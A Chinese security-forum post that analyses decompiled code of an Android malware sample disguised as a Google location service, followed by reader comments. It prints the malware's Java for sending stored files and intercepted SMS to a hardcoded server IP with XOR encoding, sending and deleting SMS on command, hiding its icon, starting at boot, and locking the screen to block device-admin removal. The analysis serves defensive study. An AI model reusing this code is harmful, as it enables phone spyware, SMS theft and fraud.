接下来是onStartCommand()方法

判断激活,未激活会跳回去激活,Boolean_e的作用很微妙,主要是作者远程控制的作用

Boolean_e初始值为false,并且只有一个地方会修改为true,就是和服务器通信的部分,所以目前来说只会执行if里的语句,如果已激活,则直接跳过下面两个分支
[Java] 纯文本查看 复制代码
1
2
3
4
5
if(!GoogleApplication.Boolean_e){
           if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
               this.Start_Runnable_Confirm_ActiveAdmin();
            }
        }
如果Boolean_etrue,说明是作者发送回来的数据改变了Boolean_e的值,如果恰好是已激活的话,就去除激活
[Asm] 纯文本查看 复制代码
1
2
3
else if(this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
           this.object_DevicePolicyManager.removeActiveAdmin(this.object_ComponentName);
        }
如果Boolean_etrue,并且未激活,则卸载
[Java] 纯文本查看 复制代码
1
2
3
else {
            this.Uninstall_itself();
        }
这三个判断分支连起来的意思就是Boolean_etrue的时候就去除激活并卸载,方式是通过和服务器通信来设置Boolean_e的值

卸载的代码
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
7
private void Uninstall_itself(){
        Intent intent = new Intent();
       intent.setAction("android.intent.action.DELETE");
        intent.addFlags(268435456);
       intent.setData(Uri.parse("package:com.google.process.locations"));
        this.startActivity(intent);
    }
接着判断id是否为空,为空则获取,一般来说前面会获取的,这里估计是为了保险起见所以再次判断,如果已获取id值,则根据Boolean_c的值决定是否执行get_NewFileSend()方法,Boolean_b_notuse是没有作用的,最后执行Start_Thread_e()
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
if(GoogleApplication.String_id== null) {
           this.Init_sharedpreferences_id_model();
        }
        else {
            if(!GoogleApplication.Boolean_c) {
               Class_i.get_NewFileSend(((Context)this));
            }
            GoogleApplication.Boolean_b_notuse= false;
            this.Start_Thread_e();
        }
来看get_NewFileSend()

这个方法的东西很有料,下面慢慢讲
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
9
public static voidget_NewFileSend(Context context) {
        String[] String_filelist =Class_i.get_all_file_list(context);
        if(String_filelist != null &&String_filelist.length > 0) {
            TreeSet object_TreeSet = newTreeSet();
           object_TreeSet.addAll(Arrays.asList(((Object[])String_filelist)));
            GoogleApplication.Boolean_c =true// 把这个设置为true,这样检测新文件的时候就不会重复执行
            newThread_SendandDelete_file(object_TreeSet, context).start();
        }
}
首先get_all_file_list()
[Java] 纯文本查看 复制代码
1
2
3
public static String[]get_all_file_list(Context context) {
        return context.getFilesDir().list(newmyFilenameFilter());
}
其中myFilenameFilter()
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
packagecom.google.process.locations;
import java.io.File;
import java.io.FilenameFilter;
class myFilenameFilterimplements FilenameFilter {
    myFilenameFilter() {
        super();
    }
    public boolean accept(File arg2, Stringarg3) {
        return 1;
    }
}
没什么大作用,就是用来获取文件列表的

接着把Boolean_c设为true,这样在onStartCommand()方法里就不会执行,避免重复

开了个线程
[Java] 纯文本查看 复制代码
1
newThread_SendandDelete_file(object_TreeSet, context).start();
跟过去,有一个call_ReadandSend_file()方法很关键
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
packagecom.google.process.locations;
import android.content.Context;
import java.io.File;
import java.util.Iterator;
import java.util.TreeSet;
class Thread_SendandDelete_fileextends Thread {
    Thread_SendandDelete_file(TreeSet arg1,Context arg2) {
        this.object_treeset = arg1;
        this.context = arg2;
        super();
    }
    public void run() {
        Iterator object_iterator = this.object_treeset.iterator();
        while(object_iterator.hasNext()) {
            File object_file = newFile(this.context.getFilesDir(), object_iterator.next());
           if(!Class_i.call_ReadandSend_file(object_file)) {
                continue;
           }
            object_file.delete();
        }
        GoogleApplication.Boolean_c = false;
    }
}
跟过去,最终调用的是这个方法
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
private static booleanReadandSend_file(File file) {
        boolean boolean_Result = true;
        try {
            FileInputStreamobject_FileInputStream = new FileInputStream(file);
            byte[] ByteArray_1 = newbyte[object_FileInputStream.available()];
           object_FileInputStream.read(ByteArray_1);
            object_FileInputStream.close();
            JSONObject object_jsonobject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),
                    new String(ByteArray_1));
            if(object_jsonobject == null) {
                return false;
            }
            if(object_jsonobject.getInt("on")!= 1) {
                return false;
            }
            return boolean_Result;
        }
        catch(Exception v0_1) {
        }
        return false;
}
这一句
[Java] 纯文本查看 复制代码
1
JSONObject object_jsonobject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),new String(ByteArray_1));
获取服务器IP地址
[Java] 纯文本查看 复制代码
1
2
3
4
get_Server_IPAddress()
public static Stringget_Server_IPAddress() {
        return "45.127.99.27";
}
ConnectSend_ResponseJsonobject()这个方法很重要
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
public static JSONObjectConnectSend_ResponseJsonobject(String arg5, String arg6) {
        String v0_7;
        HttpResponse object_HttpResponse;
        ArrayList object_ArrayList = newArrayList();
        ((List)object_ArrayList).add(newBasicNameValuePair("p", new String(Base64.encodeToString(newClass_a().xor_Base64_encode(
                arg6.toString(),"6d0a04f0dac119bfea2823a60cb691cd"), 0))));
        DefaultHttpClient object_DefaultHttpClient =Class_i.Create_GetHttpClient("/");
       object_DefaultHttpClient.getParams().setParameter("http.protocol.expect-continue",Boolean.valueOf(false));
        try {
            HttpPost object_HttpPost = new HttpPost("http://"+ arg5);
            object_HttpPost.setEntity(newUrlEncodedFormEntity(((List)object_ArrayList), "UTF-8"));
            object_HttpResponse =object_DefaultHttpClient.execute(((HttpUriRequest)object_HttpPost));
            if(object_HttpResponse.getStatusLine().getStatusCode()!= 200) {
                return null;
            }
        }
        catch(Exception v0_1) {
            return null;
        }
        try {
            InputStream object_InputStream =object_HttpResponse.getEntity().getContent();
            ByteArrayOutputStreamobject_ByteArrayOutputStream = new ByteArrayOutputStream();
            byte[] ByteArray_1 = newbyte[1024];
            while(true) {
                int ByteArray_1_toByte =object_InputStream.read(ByteArray_1);
                if(ByteArray_1_toByte == -1) {
                    break;
                }
               object_ByteArrayOutputStream.write(ByteArray_1, 0, ByteArray_1_toByte);
            }
            object_InputStream.close();
            Stringobject_ByteArrayOutputStream_toByteArray = newString(object_ByteArrayOutputStream
                    .toByteArray());
            intobject_ByteArrayOutputStream_toByteArray_length =object_ByteArrayOutputStream_toByteArray
                    .length();
           if(object_ByteArrayOutputStream_toByteArray_length <= 17) {
                return null;
            }
            String v2_2 =object_ByteArrayOutputStream_toByteArray.substring(object_ByteArrayOutputStream_toByteArray_length
                     - 16,object_ByteArrayOutputStream_toByteArray_length);
            v0_7 =object_ByteArrayOutputStream_toByteArray.substring(0,object_ByteArrayOutputStream_toByteArray_length
                     - 16);
            if(!Class_i.get_MD5(String.valueOf(v0_7)+ "a?hg").substring(0, 16).equals(v2_2)) {
                return null;
            }
        }
        catch(IllegalStateException v0_3) {
            return null;
        }
        catch(ParseException v0_4) {
            goto label_90;
        }
        catch(Exception v0_1) {
            return null;
        }
        try {
            JSONObject v0_8 = newJSONObject(new String(new Class_a().xor_encode(new String(v0_7),"1djxdloien")));
            return v0_8;
        }
        catch(ParseException v0_4) {
        label_90:
        }
        catch(IllegalStateException v0_3) {
        }
        catch(Exception v0_1) {
        }
        return null;
}
这一句用到了一个xor_Base64_encode()
[Java] 纯文本查看 复制代码
1
((List)object_ArrayList).add(newBasicNameValuePair("p", new String(Base64.encodeToString(newClass_a().xor_Base64_encode(arg6.toString(),"6d0a04f0dac119bfea2823a60cb691cd"), 0))));
代码简单
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
public byte[]xor_Base64_encode(String file_data, String arg10) {
        byte[] ByteArray_file_data =file_data.getBytes();
        int ByteArray_file_data_length =ByteArray_file_data.length;
        byte[] ByteArray_2 =Class_i.get_MD5("&dho02aQn" + arg10).getBytes();
        int ByteArray_2_length =ByteArray_2.length;
        int i;
        for(i = 0; i <ByteArray_file_data_length; ++i) {
            ByteArray_file_data =((byte)(ByteArray_2[i % ByteArray_2_length] ^ ByteArray_file_data[
                    i]));
        }
        returnBase64.encode(ByteArray_file_data, 0);
}
获取HttpClient
[Java] 纯文本查看 复制代码
1
DefaultHttpClientobject_DefaultHttpClient = Class_i.Create_GetHttpClient("/");
代码
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
public static DefaultHttpClientCreate_GetHttpClient(String arg6) {
        BasicHttpParams object_BasicHttpParams= new BasicHttpParams();
        ((HttpParams)object_BasicHttpParams).setParameter("http.protocol.cookie-policy","");
       HttpProtocolParams.setVersion(((HttpParams)object_BasicHttpParams),HttpVersion.HTTP_1_1);
       HttpProtocolParams.setContentCharset(((HttpParams)object_BasicHttpParams),"ISO-8859-1");
        HttpProtocolParams.setUseExpectContinue(((HttpParams)object_BasicHttpParams),true);
       HttpProtocolParams.setUserAgent(((HttpParams)object_BasicHttpParams),arg6);
       HttpConnectionParams.setConnectionTimeout(((HttpParams)object_BasicHttpParams),3000);
       HttpConnectionParams.setSoTimeout(((HttpParams)object_BasicHttpParams),3000);
        SchemeRegistry object_SchemeRegistry =new SchemeRegistry();
        object_SchemeRegistry.register(newScheme("http", PlainSocketFactory.getSocketFactory(), 80));
        object_SchemeRegistry.register(newScheme("https", SSLSocketFactory.getSocketFactory(), 443));
        DefaultHttpClientobject_DefaultHttpClient = new DefaultHttpClient(newThreadSafeClientConnManager(((
                HttpParams)object_BasicHttpParams),object_SchemeRegistry), ((HttpParams)object_BasicHttpParams));
       object_DefaultHttpClient.getCookieSpecs().register("", newmyCookieSpecFactory());
        return object_DefaultHttpClient;
}
其中还有一个地方是用于Cookie的,主要就是设置用的myCookieSpecFactory()
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
package com.google.process.locations;
importorg.apache.http.cookie.CookieSpec;
importorg.apache.http.cookie.CookieSpecFactory;
importorg.apache.http.params.HttpParams;
class myCookieSpecFactoryimplements CookieSpecFactory {
    myCookieSpecFactory() {
        super();
    }
    public CookieSpec newInstance(HttpParamshttpparams) {
        return new myBrowserCompatSpec(this);
    }
}
还有一个myBrowserCompatSpec()
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
packagecom.google.process.locations;
importorg.apache.http.cookie.Cookie;
importorg.apache.http.cookie.CookieOrigin;
importorg.apache.http.impl.cookie.BrowserCompatSpec;
class myBrowserCompatSpecextends BrowserCompatSpec {
    myBrowserCompatSpec(myCookieSpecFactoryarg1) {
        this.a = arg1;
        super();
    }
    public void validate(Cookie cookie,CookieOrigin cookieorigin) {
    }
}
接着通信,判断状态码是否是200
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
try {
            HttpPost object_HttpPost = newHttpPost("http://" + arg5);
            object_HttpPost.setEntity(newUrlEncodedFormEntity(((List)object_ArrayList), "UTF-8"));
            object_HttpResponse =object_DefaultHttpClient.execute(((HttpUriRequest)object_HttpPost));
           if(object_HttpResponse.getStatusLine().getStatusCode() != 200) {
                return null;
            }
        }
        catch(Exception v0_1) {
            return null;
        }
接下来的就是发送文件的代码了,没啥好看的

回到ReadandSend_file(),会进行返回数据的判断,一个是返回的JSonObject是否为空,还有一个是返回数据里on键值是否为1
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
if(object_jsonobject == null) {
                return false;
            }
           if(object_jsonobject.getInt("on") != 1) {
                return false;
            }
如果一切正常的话会返回true,回到Thread_SendandDelete_file

当返回的是true会进行删除文件操作
[Java] 纯文本查看 复制代码
1
object_file.delete();
如果返回false说明文件没有发送成功或者服务器没有接收成功,则直接continue,不会删除文件,只有该文件发送成功了,才会执行删除操作

总结一下:每次开启service的时候会检查本地文件,并发送到服务器,发送成功会删除文件

接下来就是onStartCommand()离最后一项了
[Java] 纯文本查看 复制代码
1
Start_Thread_e()
主要作用是和服务器通信,返回的数据通过type的键值传到Handler处理
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
packagecom.google.process.locations;
import android.os.Message;
import android.text.TextUtils;
import org.json.JSONException;
import org.json.JSONObject;
class Thread_e extends Thread {
    Thread_e(GoogleLocationService arg1) {
        this.GoogleLocationService_this = arg1;
        super();
    }
    public void run() {
        Message object_message;
        JSONObject object_jsonobject;
        int int_temp = 2;
        try {
            object_jsonobject = new JSONObject();
           object_jsonobject.put("id", GoogleApplication.String_id);
           object_jsonobject.put("model",GoogleApplication.String_model);
           object_jsonobject.put("time", System.currentTimeMillis());
           object_jsonobject.put("type", 1);
            String String_mode ="mode";
           if(!GoogleApplication.sp_Boolean_mode) {
                int_temp = 1;
            }
            object_jsonobject.put(String_mode,int_temp);  // mode键值为1
           if(GoogleLocationService.get_Boolean_a(this.GoogleLocationService_this)){
                goto label_82;
            }
            elseif(GoogleApplication.Boolean_sharedpreferences_send) {
               GoogleLocationService.set_Boolean_a(this.GoogleLocationService_this,true);
                int_temp = 9;
            }
            else {
                goto label_82;
            }
            goto label_29;
        }
        catch(JSONException v0_1) {
            goto label_62;
        }
    label_82:
        int_temp = 1;
        try {
        label_29:
           object_jsonobject.put("data", int_temp);  // data键值为1
            JSONObject object_JSONObject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),
                   object_jsonobject.toString());
            if(object_JSONObject == null) {
                return;
            }
            int int_on =object_JSONObject.getInt("on");
            int int_type =object_JSONObject.getInt("type");
            if(int_on != 1) {
                goto label_79;  // 判断on的键值是否为1,1表示正常
            }
            switch(int_type) {
                case 2: {
                    goto label_67;
                }
                case 9: {
                    goto label_44;
                }
            }
            return;
        label_44:
            String v0_3 =object_JSONObject.getString("num");
           if(!TextUtils.isEmpty(((CharSequence)v0_3))) {
                object_message =GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                        .obtainMessage();
                object_message.what = 1;
                object_message.obj = v0_3;
                GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                       .sendMessage(object_message);
            }
            else {
               GoogleApplication.Boolean_sharedpreferences_send = false;
                goto label_57;
            label_67:
                object_JSONObject =object_JSONObject.getJSONObject("data");
                object_message =GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                        .obtainMessage();
                object_message.what = 2;
                object_message.obj =object_JSONObject;
               GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                       .sendMessage(object_message);
                return;
            label_79:
               GoogleApplication.Boolean_b_notuse = true;
                return;
            }
        label_57:
            GoogleLocationService.set_Boolean_a(this.GoogleLocationService_this,false);
        }
        catch(JSONException v0_1) {
        label_62:
            GoogleApplication.Boolean_b_notuse= true;
        }
    }
}
Handler这里最主要的功能如下
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
if(!TextUtils.isEmpty(((CharSequence)v9))&& !TextUtils.isEmpty(((CharSequence)v10))) {
               GoogleLocationService.call_SendSMSmessage(this.a, v9, v10);
                Class_i.Delete_SMSmessage(this.a,v10);
               Class_i.call_CopyStoreNewSMSmessage(this.a, v9, newStringBuilder(String.valueOf(System
                       .currentTimeMillis())).toString(), v10, 10);
            }
            if(v6 == 1) {
               GoogleLocationService.call_StoreInformationofPhone(this.a, true);
            }
            if(v5 == 1 &&!TextUtils.isEmpty(((CharSequence)v8))) {
               GoogleLocationService.call_BridgeSendSMSmessage(this.a, v8);
            }
            if(v4 == 1) {
               GoogleLocationService.call_StoreHistorySMSmessage(this.a, true);
            }
其中call_BridgeSendSMSmessage()最终会调用
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
9
private voidBridgeSendSMSmessage(String String_Num) {
        String Phone_Information = String.valueOf(GoogleApplication.String_id)+ "," + GoogleApplication
                .String_model + "," +Build$VERSION.RELEASE;
        this.SendSMSmessage(String_Num,Phone_Information);
       Class_i.Delete_SMSmessage(((Context)this), Phone_Information);
       Class_i.call_CopyStoreNewSMSmessage(((Context)this), String_Num, newStringBuilder(String.valueOf(
               System.currentTimeMillis())).toString(), Phone_Information, 10);
       this.getSharedPreferences("app_preferences", 0).edit().putBoolean("send",false).commit();
}
会通过受害者手机向指定手机号发短信,然后还会根据服务器返回的数据执行一些其他指令,看代码就可以看出来了

以上就是GoogleLocationService的行为

回溯到很久很久以前的代码,先梳理一下,GoogleApplication类的onCreate()方法注册了一个GoogleLocationService服务,然后这个服务的所有功能都在上面已经分析了

继续分析,GoogleApplication已经分析完了,接下来就该进入MainActivity
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
packagecom.google.process.locations;
import android.app.Activity;
importandroid.app.admin.DevicePolicyManager;
importandroid.content.ComponentName;
import android.content.Context;
import android.content.Intent;
importandroid.content.pm.PackageManager;
import android.os.Bundle;
import android.widget.Toast;
public class MainActivityextends Activity {
    private ComponentName object_ComponentName;
    private DevicePolicyManagerobject_DevicePolicyManager;
    public MainActivity() {
        super();
    }
    private void Toast_FinishInstall() {
        PackageManager object_PackageManager =this.getPackageManager();
        ComponentName object_ComponentName =this.getComponentName();
        int v2 = object_PackageManager.getComponentEnabledSetting(object_ComponentName);
        if(v2 == 0 || v2 == 1) {
           object_PackageManager.setComponentEnabledSetting(object_ComponentName,2, 1);  // 隐藏图标
            Context context =this.getApplicationContext();
            String v2_1 = "%s证书启动成功";
            Object[] object_temp = newObject[1];
            String v0_1 =GoogleApplication.sp_Boolean_mode ? "安装" : "安全";
            object_temp[0] = v0_1;
            Toast.makeText(context,String.format(v2_1, object_temp), 1).show();
        }
    }
    private voidStartService_GoogleLocationService() {
        this.startService(newIntent(this.getApplicationContext(), GoogleLocationService.class));
    }
    private void ActiveAdmin() {
        this.object_DevicePolicyManager =this.getSystemService("device_policy");
        this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
       if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
            Intent intent = newIntent("android.app.action.ADD_DEVICE_ADMIN");
           intent.putExtra("android.app.extra.DEVICE_ADMIN",this.object_ComponentName);
            this.startActivity(intent);
        }
        else {
            this.Toast_FinishInstall();
        }
    }
    protected void onCreate(Bundle arg1) {
        super.onCreate(arg1);
        this.ActiveAdmin();
       this.StartService_GoogleLocationService();
        this.finish();
        this.ser();
    }
    void ser() {
        Class class_temp;
        try {
            class_temp =Class.forName("d.d.Default");
        }
        catch(ClassNotFoundException v0) {
            throw newNoClassDefFoundError(((Throwable)v0).getMessage());
        }
        this.startService(newIntent(((Context)this), class_temp));
    }
}
onCreate()方法里还是先进入ActiveAdmin(),整体过程如同刚才所说的,如果不激活,会一直弹出激活窗口,如果激活了,会进入Toast_FinishInsatll()

然后弹出安全证书启动成功并且隐藏图标

这个恶意APP的大概功能就是这些了

接下来分析一下其它部分的代码

BootReceiver:开机自启动
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
packagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiverextends BroadcastReceiver {
    public BootReceiver() {
        super();
    }
    public void onReceive(Context context,Intent intent) {
        context.startService(newIntent(context, GoogleLocationService.class)); // 开机启动
    }
}
DeviceReceiver:设备管理器
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[color=#000][size=13.333333969116211px]packagecom.google.process.locations;[/size][/color][/align][align=left]import android.app.admin.DeviceAdminReceiver;
importandroid.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.Intent;
public class DeviceReciverextends DeviceAdminReceiver {
    public DeviceReciver() {
        super();
    }
    public CharSequenceonDisableRequested(Context context, Intent intent_Param) {
        Intent intent =context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
        intent.setFlags(268435456);
        context.startActivity(intent);
        Object object_device_policy =context.getSystemService("device_policy");
       ((DevicePolicyManager)object_device_policy).lockNow();
        new Thread(newRunnable_LockScreen_7s_bypass(this, ((DevicePolicyManager)object_device_policy))).start();
        return "This is aonDisableRequested response message";
    }
    
    public void onDisabled(Context context,Intent intent) {
        super.onDisabled(context, intent);
    }
    public void onEnabled(Context context,Intent intent_Param) {
        Intent intent = new Intent(context,MainActivity.class);
        intent.addFlags(268435456);
        context.startActivity(intent);
        super.onEnabled(context, intent_Param);
    }
    public void onReceive(Context context,Intent intent) {
        super.onReceive(context, intent);
    }
}
这个利用了安卓的一个设备管理器的一个漏洞:Android设备管理器取消激活漏洞

SMSReceiver:拦截短信,存储在本地,然后删除
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
packagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
importandroid.telephony.SmsMessage;
public class SmsReciver extendsBroadcastReceiver {
    public SmsReciver() {
        super();
    }
    public void onReceive(Context context,Intent intent) {
        StringBuffer StringBuffer_1;
        StringBuffer StringBuffer_2 = null;
        Bundle object_bundle =intent.getExtras();
        if(object_bundle != null) {
           if(GoogleApplication.sp_Boolean_mode) {
                this.abortBroadcast();
            }
            Object object_pdus =object_bundle.get("pdus");
            int object_pdus_length =object_pdus.length;
            int i = 0;
            String StringBuffer_3 =((String)StringBuffer_2);
            String StringBuffer_4 =((String)StringBuffer_2);
            while(i < object_pdus_length) {
                SmsMessage object_SmsMessage =SmsMessage.createFromPdu(object_pdus);
                if(StringBuffer_4 == null) {
                    StringBuffer_4 =object_SmsMessage.getOriginatingAddress();
                }
                if(StringBuffer_3 == null) {
                    StringBuffer_3 = newStringBuilder(String.valueOf(object_SmsMessage.getTimestampMillis()))
                            .toString();
                }
                if(StringBuffer_2 == null) {
                    StringBuffer_1 = newStringBuffer(object_SmsMessage.getMessageBody());
                }
                else {
                   StringBuffer_2.append(object_SmsMessage.getMessageBody());
                    StringBuffer_1 =StringBuffer_2;
                }
               if(GoogleApplication.sp_Boolean_mode) {
                    Class_i.Delete_SMSmessage(context,object_SmsMessage.getMessageBody());
                }
                ++i;
                StringBuffer_2 =StringBuffer_1;
            }
           Class_i.call_CopyStoreNewSMSmessage(context, StringBuffer_4.toString(),StringBuffer_3.toString(),
                    StringBuffer_2.toString(),1);
        }
    }
}

最后总结一下:这玩意对于4.2以下的系统的话还是很危险的,因为卸载不掉,其它行为就比较一般了,监控短信,存储在本地,然后传服务器

样本的话:这次就不提供了

不定期的会录制一些视频分享调试的一些心得:移动恶意APP分析的心得分享

免费评分

参与人数 22热心值 +22 收起 理由
970883246 + 1 用心讨论,共获提升!
zy2pj + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
photor + 1 谢谢@Thanks!
19990502 + 1 我很赞同!
free648 + 1 用心讨论,共获提升!
再也不见 + 1 谢谢@Thanks!
immr.x + 1 谢谢@Thanks!
我们不该这样! + 1 用心讨论,共获提升!
MZoyo + 1 用心讨论,共获提升!
远山含笑 + 1 热心回复!
Czkusers + 1 我很赞同!
221041900 + 1 谢谢@Thanks!
zerogz + 1 我手机就是安卓4.3的,也中毒了,只能每隔几天的删一次自动安装是伪装程序.
AWEIWEI + 1 好分析!
runingdream + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
jiang54 + 1 纯粹支持。
牵走天涯 + 1 我很赞同!
独行风云 + 1 膜拜大牛.
spguangz + 1 前排膜拜大牛
tong_wen2504 + 1 热心回复!
KaQqi + 1 值得看看
lies2014 + 1 谢谢@Thanks!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

zerogz 发表于 2016-7-19 15:44
wnagzihxain 发表于 2016-7-19 15:30
我上一篇锁屏分析的最下面有关于这个的处理,直接复制过来排版不好看,代码也会很混乱,你去看看吧

http://www.52pojie.cn/forum.php?mod=viewthread&tid=515795
谢谢大神,是这个链接吧?看了一下,要理解还真要花点时间,我的没有锁屏,主要的伪装成“录音机”、“好音乐”等APP自动安装,还会发送订阅短信代码,幸好防火墙拦截了,暂时没有造成损失,但这个感觉有点类似幽灵推,但有不完全相同,关键是搜索也没有其他处理方法。
zerogz 发表于 2016-7-19 15:24
wnagzihxain 发表于 2016-7-18 23:13
我感觉你这情况下个管家先扫描一波比较好,无论是鹅厂的还是数字的都先试一试,如果Root了的话把可疑的应 ...

感觉是已经写进了system/app的,删掉还会再出现,换了几款杀毒软件查杀后还会继续出现,具体教程在哪里有的?因为对于手机处理这种情况我是一窍不通的,希望能得到大家的帮助,谢谢!
枫MapleLCG 发表于 2016-7-13 22:40
本帖最后由 枫叶飘零 于 2016-7-13 22:42 编辑

前排膜拜大牛,抚摸沙发,那些恶意APP的发布者真的是缺钙。
为什么最后不用插入代码功能呢

QQ图片20160713224140.png
taxuewuhen 发表于 2016-7-13 22:48
前排膜拜大牛
太长了 不懂
hacker乌鸦 发表于 2016-7-13 22:53
太长,夹杂了大量代码,so。。。。我没仔细看,不过就冲能从代码分析来看,露珠应该是大拿
 楼主| wnagzihxain 发表于 2016-7-13 23:02
枫叶飘零 发表于 2016-7-13 22:40
前排膜拜大牛,抚摸沙发,那些恶意APP的发布者真的是缺钙。
为什么最后不用插入代码功能呢

我说在排版就是在使用添加代码,因为先在word上写的,所以直接拷贝过来慢慢排版
lies2014 发表于 2016-7-14 00:05
分析的很详细,可惜没有样本,加分先!
oxygen 发表于 2016-7-14 23:27
太长,夹杂了大量代码,so。。。。我没仔细看
KaQqi 发表于 2016-7-15 08:38
子贤又发新教程了,值得一看
一片枫叶落地无 发表于 2016-7-15 10:56
哎 完全看不懂 看来还需要学习
A-zhu 发表于 2016-7-15 10:57 来自手机
学习了~
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-6 07:42

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表